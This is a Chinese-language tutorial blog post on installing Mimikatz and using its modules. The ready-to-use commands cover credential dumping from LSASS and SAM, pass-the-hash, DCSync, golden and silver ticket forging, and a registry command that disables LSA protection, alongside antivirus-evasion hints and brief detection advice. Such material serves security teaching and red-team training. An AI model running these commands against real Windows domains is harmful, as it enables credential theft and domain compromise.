文章总结： 本文介绍了Mimikatz的安装、界面及常用模块。重点讲解了权限提升、凭据提取、哈希传递、黄金白银票据伪造及域控同步等操作命令，并说明了系统权限要求与免杀防护注意事项，是Windows内网渗透实战的实用教程。 综合评分： 82 文章分类： 内网渗透,红队,安全工具,免杀

mimikatz安装及基本用法

原创

dcnb

Web安全基础与实践

2025年12月20日 18:01 广东

Mimikatz是一款由法国安全研究员Benjamin Delpy开发的开源工具。

Mimikatz工具在Windows操作系统中运行时，可以从内存中提取出操作系统的明文密码、哈希、PIN码和Kerberos票据等，并支持哈希传递、票据传递和构建黄金票据等功能。

1、安装

首先访问Mimikatz的下载页面（链接：https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919），如图1所示。点击“mimikatz_trunk.zip”下载至桌面并将其解压到设定的文件夹里即安装完毕，如图2所示。

图1  访问mimikatz的下载页面

图2  mimikatz安装成功界面

2、界面介绍

Mimikatz是命令行工具，找到合适的版本并点击exe文件即可运行，如图3所示。

图3  运行后页面

3、常用模块

3.1启动与权限提升

privilege::debug

此命令获取调试权限，允许访问lsass.exe进程内存，这是执行大多数命令的前提，如图4所示。

图4  privilege::debug执行效果

token::elevate

将当前进程权限提升至SYSTEM，绕过部分权限限制，如图5所示。

图5  token::elevate执行效果

3.2模块与帮助

::

列出所有可用模块，如图6所示。

图6  ::执行效果

模块名::help

查看指定模块的子命令（如sekurlsa::help），如图7所示。

图7  sekurlsa::help执行效果

3.3 sekurlsa模块（凭据提取）

sekurlsa::logonpasswords

提取当前登录用户的明文密码、NTLM哈希及Kerberos票据，如图8所示。

图8  sekurlsa::logonpasswords执行效果

sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<哈希>

哈希传递攻击（Pass-the-Hash），使用NTLM哈希模拟用户身份，生成新的命令行窗口，如图9所示。

图9  sekurlsa::pth执行效果

sekurlsa::msv

提取MSV（Microsoft安全包）协议相关的哈希值（LM、NTLM、SHA1），如图10所示。

图10  sekurlsa::msv执行效果

sekurlsa::tickets /export

导出当前缓存的Kerberos票据（.kirbi文件），用于后续攻击。

3.4 lsadump模块（系统数据库提取）

lsadump::sam

从SAM数据库中提取本地用户的NTLM哈希。需指定sam.hive和system.hive文件路径。如图11所示。

图11  lsadump::sam执行效果

lsadump::lsa /patch

提取LSA内存中的哈希值、密码历史及域用户信息。在域控上执行可获取域内用户数据。如图12所示。

图12  lsadump::lsa /patch执行效果

lsadump::dcsync /user:<用户名>

域环境下通过DCSync协议同步域用户信息，包括哈希、SID等。需管理员权限。

3.5 kerberos模块（票据攻击）

Kerberos::list /export

列出并导出当前用户的kerberos票据（TGT\TGS）。

Kerberos票据仅在域环境中生成。如果是本地用户（非域用户）登录，或域用户未访问过域内服务（如文件共享、SQLServer等），系统不会缓存票据，因此kerberos::list无内容。

本机并没有票据（cmd中用klist tgt查看），因此该命令无内容。如图13所示。

图13  kerberos::list执行效果

Kerberos::golden /user:<用户名> /domain:<域名> /sid:<SID> /krbtgt:<哈希> /ptt

伪造黄金票据（Golden Ticket），用于长期控制域环境。需域控的SID和krbtgt用户的哈希。

Kerberos::silver /user:<用户名> /domain:<域名> / target:<服务器> /service:<服务> /rc4:<哈希> /ptt

伪造白银票据（Silver Ticket），针对特定服务（如CIFS）进行权限提升。

3.6其他关键模块

3.6.1 process模块（进程操作）

process::list &nbsp; &nbsp;--列出系统进程。process::exit&nbsp;<PID> &nbsp;--终止指定进程。

3.6.2 crypto模块（加密操作）

crypto::certificates /export   --导出证书及私钥。crypto::keys /machine /export  --提取机器账户的加密密钥。

4、注意事项

4.1权限要求

需要管理员权限或者SYSTEM令牌。

在Win8.1以上系统，部分功能需关闭LSA保护：

Reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsppl /d 0 /f

4.2 免杀与检测

杀毒软件（如Windows Defender）会拦截mimikatz，需进行免杀处理（混淆、反射加载等）。

检测日志：关注lsass.exe异常访问、注册表修改及票据导出行为。

本文由谢富宽同学投稿。

• END –

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：Web安全基础与实践 dcnb《mimikatz安装及基本用法》